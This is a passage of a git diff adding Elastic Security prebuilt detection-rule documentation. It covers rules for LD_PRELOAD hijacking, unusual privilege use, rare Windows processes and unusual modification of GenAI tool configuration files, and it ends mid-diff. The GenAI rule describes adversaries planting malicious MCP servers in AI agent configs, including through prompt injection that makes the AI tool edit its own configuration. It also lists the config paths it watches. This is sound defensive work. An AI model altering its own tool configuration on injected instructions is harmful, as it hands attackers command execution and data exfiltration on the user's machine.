behavior. +- System administrators might employ preload variables for system tuning or debugging purposes. Documenting and excluding these specific cases can help reduce false positives. +- Security tools and monitoring solutions might use preload variables as part of their operation. Ensure these tools are recognized and excluded from triggering alerts by maintaining an updated list of their known behaviors. +- Regularly review and update the list of excluded variables and processes to adapt to changes in the environment and software updates, ensuring that only non-threatening behaviors are excluded. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further malicious activity and lateral movement. +- Terminate any suspicious processes identified with unusual preload environment variables to halt potential malicious execution. +- Conduct a thorough review of the affected system's environment variables and loaded libraries to identify and remove any unauthorized or malicious entries. +- Restore the affected system from a known good backup to ensure all malicious modifications are removed. +- Update and patch the system to the latest security standards to mitigate vulnerabilities that could be exploited for similar attacks. +- Monitor the network and system logs for any signs of re-infection or similar suspicious activity, focusing on process execution patterns. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are compromised. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + +Elastic Defend integration does not collect environment variable logging by default. +In order to capture this behavior, this rule requires a specific configuration option set within the advanced settings of the Elastic Defend integration. + #### To set up environment variable capture for an Elastic Agent policy: +- Go to “Security → Manage → Policies”. +- Select an “Elastic Agent policy”. +- Click “Show advanced settings”. +- Scroll down or search for “linux.advanced.capture_env_vars”. +- Enter the names of environment variables you want to capture, separated by commas. +- For this rule the linux.advanced.capture_env_vars variable should be set to "LD_PRELOAD,LD_LIBRARY_PATH". +- Click “Save”. +After saving the integration change, the Elastic Agents running this policy will be updated and the rule will function properly. +For more information on capturing environment variables refer to the https://www.elastic.co/guide/en/security/current/environment-variable-capture.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:process and host.os.type:linux and event.type:start and event.action:exec and process.env_vars:* and +not ( + process.parent.executable:(/snap/* or "/opt/infraonagent/infraonwindowsagent" or "/worker/Capa/capa") or + process.parent.name:"cmk-update-agent" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: Dynamic Linker Hijacking +** ID: T1574.006 +** Reference URL: https://attack.mitre.org/techniques/T1574/006/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: Dynamic Linker Hijacking +** ID: T1574.006 +** Reference URL: https://attack.mitre.org/techniques/T1574/006/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: Dynamic Linker Hijacking +** ID: T1574.006 +** Reference URL: https://attack.mitre.org/techniques/T1574/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-privilege-type-assigned-to-a-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-privilege-type-assigned-to-a-user.asciidoc new file mode 100644 index 0000000000..691ae5d6bc --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-privilege-type-assigned-to-a-user.asciidoc @@ -0,0 +1,148 @@ +[[prebuilt-rule-8-19-20-unusual-privilege-type-assigned-to-a-user]] +=== Unusual Privilege Type assigned to a User + +A machine learning job has identified a user leveraging an uncommon privilege type for privileged operations, indicating potential privileged access activity. This indicates that a user is performing operations requiring elevated privileges but is using a privilege type that is not typically seen in their baseline logs. + +*Rule type*: machine_learning + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 15m + +*Searches indices from*: now-1h ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html +* https://docs.elastic.co/en/integrations/pad + +*Tags*: + +* Use Case: Privileged Access Detection +* Rule Type: ML +* Rule Type: Machine Learning +* Tactic: Privilege Escalation +* Resources: Investigation Guide + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unusual Privilege Type assigned to a User* + + +In modern IT environments, privilege management is crucial for maintaining security. Adversaries may exploit uncommon privilege types to perform unauthorized actions, bypassing standard detection. The detection rule leverages machine learning to identify deviations from normal privilege usage patterns, flagging potential privilege escalation attempts. By analyzing user behavior against established baselines, it helps detect and mitigate unauthorized access risks. + + +*Possible investigation steps* + + +- Review the user's recent activity logs to identify any unusual or unauthorized actions associated with the uncommon privilege type. +- Cross-reference the identified privilege type with the user's role and responsibilities to determine if the usage is justified or anomalous. +- Check for any recent changes in the user's account settings or privilege assignments that could explain the deviation from the baseline. +- Investigate any recent system or application changes that might have introduced new privilege types or altered existing ones. +- Consult with the user's manager or relevant department to verify if there was a legitimate need for the unusual privilege type usage. +- Analyze the timeline of events leading up to the alert to identify any potential indicators of compromise or privilege escalation attempts. + + +*False positive analysis* + + +- Users with multiple roles may trigger false positives if they occasionally use privileges associated with less common roles. Regularly review and update role-based access controls to ensure they reflect current responsibilities. +- Temporary project assignments can lead to unusual privilege usage. Implement a process to document and approve temporary privilege changes, and exclude these documented cases from triggering alerts. +- System administrators or IT staff might use uncommon privileges during maintenance or troubleshooting. Establish a whitelist for known maintenance activities and exclude these from the detection rule. +- Automated scripts or applications that require elevated privileges might be flagged. Ensure these scripts are registered and their privilege usage is documented, then exclude them from the rule. +- New employees or contractors may initially use privileges that seem unusual. Monitor their activity closely during the onboarding period and adjust baselines as their normal usage patterns become clear. + + +*Response and remediation* + + +- Immediately isolate the affected user account to prevent further unauthorized access or privilege escalation. This can be done by disabling the account or changing its credentials. +- Review and revoke any unusual or unnecessary privileges assigned to the user account to ensure it aligns with their normal operational requirements. +- Conduct a thorough audit of recent activities performed by the user account to identify any unauthorized actions or data access that may have occurred. +- Notify the security operations team and relevant stakeholders about the incident for further investigation and to ensure coordinated response efforts. +- Implement additional monitoring on the affected user account and similar accounts to detect any further suspicious activities or privilege misuse. +- Update and reinforce access control policies to prevent similar privilege escalation attempts, ensuring that privilege assignments are regularly reviewed and validated. +- Document the incident details, response actions taken, and lessons learned to improve future incident response and privilege management processes. + +==== Setup + + + +*Setup* + + +The rule requires the Privileged Access Detection integration assets to be installed, as well as Windows logs collected by integrations such as Elastic Defend and Windows. + + +*Privileged Access Detection Setup* + +The Privileged Access Detection integration detects privileged access activity by identifying abnormalities in Windows, Linux and Okta events. Anomalies are detected using Elastic's Anomaly Detection feature. + + +*Prerequisite Requirements:* + +- Fleet is required for Privileged Access Detection. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. +- Windows events collected by the https://docs.elastic.co/en/integrations/endpoint[Elastic Defend] and https://docs.elastic.co/en/integrations/windows[Windows] integration. +- To install Elastic Defend, refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[documentation]. +- To add the Windows integration to an Elastic Agent policy, refer to https://www.elastic.co/guide/en/fleet/current/add-integration-to-policy.html[this] guide. + + +*The following steps should be executed to install assets associated with the Privileged Access Detection integration:* + +- Go to the Kibana homepage. Under Management, click Integrations. +- In the query bar, search for Privileged Access Detection and select the integration to see more details about it. +- Follow the instructions under the **Installation** section. +- For this rule to work, complete the instructions through **Add preconfigured anomaly detection jobs**. + + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-process-detected-for-privileged-commands-by-a-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-process-detected-for-privileged-commands-by-a-user.asciidoc new file mode 100644 index 0000000000..40fa2404a5 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-process-detected-for-privileged-commands-by-a-user.asciidoc @@ -0,0 +1,136 @@ +[[prebuilt-rule-8-19-20-unusual-process-detected-for-privileged-commands-by-a-user]] +=== Unusual Process Detected for Privileged Commands by a User + +A machine learning job has detected an unusual process run for privileged commands by a user, indicating potential privileged access activity. + +*Rule type*: machine_learning + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 15m + +*Searches indices from*: now-1h ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html +* https://docs.elastic.co/en/integrations/pad + +*Tags*: + +* Use Case: Privileged Access Detection +* Rule Type: ML +* Rule Type: Machine Learning +* Tactic: Privilege Escalation +* Resources: Investigation Guide + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unusual Process Detected for Privileged Commands by a User* + + +Machine learning models are employed to identify anomalies in process execution, particularly those involving privileged commands. Adversaries may exploit legitimate user accounts to execute unauthorized privileged actions, aiming for privilege escalation. This detection rule leverages ML to flag atypical processes, indicating potential misuse of elevated access, thus aiding in early threat identification. + + +*Possible investigation steps* + + +- Review the specific user account associated with the alert to determine if the account has a history of executing privileged commands or if this is an anomaly. +- Examine the process details, including the command line arguments and the parent process, to identify if the process is legitimate or potentially malicious. +- Check the timestamp of the process execution to correlate with any other suspicious activities or alerts that occurred around the same time. +- Investigate the source IP address or host from which the command was executed to verify if it is a known and trusted location for the user. +- Look into recent authentication logs for the user account to identify any unusual login patterns or access from unfamiliar devices. +- Assess the user's role and permissions to determine if the execution of such privileged commands aligns with their job responsibilities. + + +*False positive analysis* + + +- Routine administrative tasks by IT staff may trigger alerts. Review and whitelist known administrative processes that are regularly executed by trusted personnel. +- Automated scripts or scheduled tasks that perform privileged operations can be flagged. Identify and exclude these scripts if they are verified as part of normal operations. +- Software updates or installations that require elevated privileges might be detected. Ensure that these processes are documented and excluded if they are part of standard maintenance procedures. +- Development or testing environments where privileged commands are frequently used for legitimate purposes can cause false positives. Consider creating exceptions for these environments after thorough validation. +- Temporary elevated access granted for specific projects or tasks can lead to alerts. Monitor and document these instances, and adjust the detection rule to accommodate such temporary changes. + + +*Response and remediation* + + +- Immediately isolate the affected user account to prevent further unauthorized privileged actions. This can be done by disabling the account or changing its password. +- Review and terminate any suspicious processes or sessions initiated by the user account to contain potential malicious activity. +- Conduct a thorough audit of recent privileged commands executed by the user to identify any unauthorized changes or actions that need to be reversed. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems or accounts have been compromised. +- Implement additional monitoring on the affected system and user account to detect any further anomalous behavior or attempts at privilege escalation. +- Review and update access controls and permissions for the affected user account to ensure they align with the principle of least privilege. +- Document the incident, including actions taken and lessons learned, to improve response strategies and prevent recurrence. + +==== Setup + + + +*Setup* + + +The rule requires the Privileged Access Detection integration assets to be installed, as well as Linux logs collected by integrations such as Elastic Defend and Sysmon Linux. + + +*Privileged Access Detection Setup* + +The Privileged Access Detection integration detects privileged access activity by identifying abnormalities in Windows, Linux and Okta events. Anomalies are detected using Elastic's Anomaly Detection feature. + + +*Prerequisite Requirements:* + +- Fleet is required for Privileged Access Detection. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. +- Linux events collected by https://docs.elastic.co/en/integrations/endpoint[Elastic Defend] or https://docs.elastic.co/en/integrations/sysmon_linux[Sysmon Linux] integration. +- To install Elastic Defend, refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[documentation]. +- To add Sysmon Linux integration to an Elastic Agent policy, refer to https://www.elastic.co/guide/en/fleet/current/add-integration-to-policy.html[this] guide. + + +*The following steps should be executed to install assets associated with the Privileged Access Detection integration:* + +- Go to the Kibana homepage. Under Management, click Integrations. +- In the query bar, search for Privileged Access Detection and select the integration to see more details about it. +- Follow the instructions under the **Installation** section. +- For this rule to work, complete the instructions through **Add preconfigured anomaly detection jobs**. + + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-process-for-a-windows-host.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-process-for-a-windows-host.asciidoc new file mode 100644 index 0000000000..6e2a1b7839 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-process-for-a-windows-host.asciidoc @@ -0,0 +1,207 @@ +[[prebuilt-rule-8-19-20-unusual-process-for-a-windows-host]] +=== Unusual Process For a Windows Host + +Identifies rare processes that do not usually run on individual hosts, which can indicate execution of unauthorized services, malware, or persistence mechanisms. Processes are considered rare when they only run occasionally as compared with other processes running on the host. + +*Rule type*: machine_learning + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 15m + +*Searches indices from*: now-6h ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Rule Type: ML +* Rule Type: Machine Learning +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 216 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Unusual Process For a Windows Host* + + +Searching for abnormal Windows processes is a good methodology to find potentially malicious activity within a network. Understanding what is commonly run within an environment and developing baselines for legitimate activity can help uncover potential malware and suspicious behaviors. + +This rule uses a machine learning job to detect a Windows process that is rare and unusual for an individual Windows host in your environment. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. + - If the parent process is a legitimate system utility or service, this could be related to software updates or system management. If the parent process is something user-facing like an Office application, this process could be more suspicious. + - Investigate the process metadata — such as the digital signature, directory, etc. — to obtain more context that can indicate whether the executable is associated with an expected software vendor or package. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Consider the user as identified by the `user.name` field. Is this program part of an expected workflow for the user who ran this program on this host? +- Validate the activity is not related to planned patches, updates, network administrator activity, or legitimate software installations. +- Validate if the activity has a consistent cadence (for example, if it runs monthly or quarterly), as it could be part of a monthly or quarterly business process. +- Examine the arguments and working directory of the process. These may provide indications as to the source of the program or the nature of the tasks it is performing. +- Examine the host for derived artifacts that indicate suspicious activities: + - Analyze the process executable using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Retrieve Service Unisgned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. + + +*False Positive Analysis* + + +- If this activity is related to new benign software installation activity, consider adding exceptions — preferably with a combination of user and command line conditions. +- Try to understand the context of the execution by thinking about the user, machine, or business purpose. A small number of endpoints, such as servers with unique software, might appear unusual but satisfy a specific business need. + + +*Related Rules* + + +- Unusual Process For a Windows Host - 6d448b96-c922-4adb-b51c-b767f1ea5b76 +- Unusual Windows Path Activity - 445a342e-03fb-42d0-8656-0367eb2dead5 +- Unusual Windows Process Calling the Metadata Service - abae61a8-c560-4dbd-acca-1e1438bff36b + + +*Response and Remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved hosts to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires the installation of associated Machine Learning jobs, as well as data coming in from one of the following integrations: +- Elastic Defend +- Windows + + +*Anomaly Detection Setup* + + +Once the rule is enabled, the associated Machine Learning job will start automatically. You can view the Machine Learning job linked under the "Definition" panel of the detection rule. If the job does not start due to an error, the issue must be resolved for the job to commence successfully. For more details on setting up anomaly detection jobs, refer to the https://www.elastic.co/guide/en/kibana/current/xpack-ml-anomalies.html[helper guide]. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration to your system:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +*Windows Integration Setup* + +The Windows integration allows you to monitor the Windows OS, services, applications, and more. + + +*The following steps should be executed in order to add the Elastic Agent System integration "windows" to your system:* + +- Go to the Kibana home page and click “Add integrations”. +- In the query bar, search for “Windows” and select the integration to see more details about it. +- Click “Add Windows”. +- Configure the integration name and optionally add a description. +- Review optional and advanced settings accordingly. +- Add the newly installed “windows” to an existing or a new agent policy, and deploy the agent on your system from which windows log files are desirable. +- Click “Save and Continue”. +- For more details on the integration refer to the https://docs.elastic.co/integrations/windows[helper guide]. + + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Sub-technique: +** Name: Windows Service +** ID: T1543.003 +** Reference URL: https://attack.mitre.org/techniques/T1543/003/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: System Services +** ID: T1569 +** Reference URL: https://attack.mitre.org/techniques/T1569/ +* Sub-technique: +** Name: Service Execution +** ID: T1569.002 +** Reference URL: https://attack.mitre.org/techniques/T1569/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-process-modifying-genai-configuration-file.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-process-modifying-genai-configuration-file.asciidoc new file mode 100644 index 0000000000..4c62a5d1e2 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-process-modifying-genai-configuration-file.asciidoc @@ -0,0 +1,158 @@ +[[prebuilt-rule-8-19-20-unusual-process-modifying-genai-configuration-file]] +=== Unusual Process Modifying GenAI Configuration File + +Detects unusual modification of GenAI tool configuration files. Adversaries may inject malicious MCP server configurations to hijack AI agents for persistence, C2, or data exfiltration. Attack vectors include malware or scripts directly poisoning config files, supply chain attacks via compromised dependencies, and prompt injection attacks that abuse the GenAI tool itself to modify its own configuration. Unauthorized MCP servers added to these configs execute arbitrary commands when the AI tool is next invoked. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.file* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://modelcontextprotocol.io/ +* https://www.cybereason.com/blog/security-research/weaponized-ai-how-cybercriminals-exploit-mcp-for-account-takeover +* https://glama.ai/blog/2025-11-11-the-lethal-trifecta-securing-model-context-protocol-against-data-flow-attacks +* https://www.elastic.co/security-labs/elastic-advances-llm-security + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Persistence +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Domain: LLM + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Unusual Process Modifying GenAI Configuration File* + + +Configuration files for GenAI tools like Cursor, Claude, Copilot, and Ollama control which MCP servers, plugins, and extensions are loaded. Attackers target these files to inject malicious MCP servers that execute arbitrary commands, exfiltrate data, or establish persistence. Threats include external processes (malware, compromised scripts, supply chain attacks) directly modifying configs, as well as prompt injection attacks that abuse the AI tool's own file access capabilities. + + +*Possible investigation steps* + + +- Identify the process that modified the configuration file and determine if it's expected (GenAI tool, installer, user action) or suspicious (unknown script, malware). +- If the modifying process is NOT a GenAI tool, investigate its origin, parent process tree, and whether it was downloaded or executed from a suspicious location. +- If a GenAI tool made the modification, check recent user prompts or agent activity that may have triggered the config change via prompt injection. +- Review the contents of the modified configuration file for suspicious MCP server URLs, unauthorized plugins, or unusual agent permissions. +- Examine the process command line and parent process tree to identify how the modifying process was invoked. +- Check for other file modifications by the same process around the same time, particularly to other GenAI configs or startup scripts. +- Investigate whether the GenAI tool subsequently connected to unknown domains or spawned unusual child processes after the config change. + + +*False positive analysis* + + +- Novel but legitimate configuration changes will trigger this rule when the process hasn't been seen modifying these files within the configured history window. Review the modified file content to determine legitimacy. +- GenAI tool updates may modify config files in new ways; correlate with recent software updates. +- IDE extensions integrating with GenAI tools may modify configs as part of initial setup. +- Developer tools (git, go, npm) checking out or downloading projects containing `.gemini/` or `.claude/` directories may trigger alerts. These are project-level configs, not user configs - verify by checking if the path is within a project directory. + + +*Response and remediation* + + +- Review the modified configuration file and revert any unauthorized changes to MCP servers, plugins, or agent settings. +- If malicious MCP servers were added, block the associated domains at the network level. +- Review and rotate any API keys or credentials that may have been exposed through the compromised GenAI configuration. + + +==== Rule query + + +[source, js] +---------------------------------- +event.category : "file" and event.action : ("modification" or "overwrite") and +file.path : ( + */.cursor/mcp.json or */.cursor/settings.json or */AppData/Roaming/Cursor/*mcp* or + */.claude/* or */claude_desktop_config.json or */AppData/Roaming/Claude/* or + */.config/github-copilot/* or */AppData/Local/GitHub?Copilot/* or + */.ollama/config* or */AppData/Local/Ollama/* or + */.codex/* or */AppData/Roaming/Codex/* or + */.gemini/* or */AppData/Roaming/gemini-cli/* or + */.grok/* or */AppData/Roaming/Grok/* or + */.windsurf/* or */AppData/Roaming/Windsurf/* or + */.vscode/extensions/*mcp* or + */.openclaw/* or */AppData/Roaming/OpenClaw/* or + */.moltbot/* or */AppData/Roaming/Moltbot/* or + */.config/openclaw/* +) and not ( + file.extension : (lck or lock or log or png or marker or shm or wal or sqlite-shm or sqlite-wal or jsonl or journal or xcuserstate) or + file.name : .DS_Store or + file.path : ( + */.claude/cache/* or + */.claude/statsig/* or + */.claude/sessions/* or + */.claude/shell-snapshots/* or + */.gemini/antigravity-browser-profile/* or + */.gemini/tmp/* or + */.codex/log/* or + */.codex/sessions/* + ) or + ( + file.path : */.config/github-copilot/* and + file.name : (apps.json or versions.json or copilot*nitrite.db) + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Technique: +** Name: Compromise Host Software Binary +** ID: T1554 +** Reference URL: https://attack.mitre.org/techniques/T1554/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-process-network-connection.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-process-network-connection.asciidoc new file mode 100644 index 0000000000..9189adab60 --- /dev/null +++ 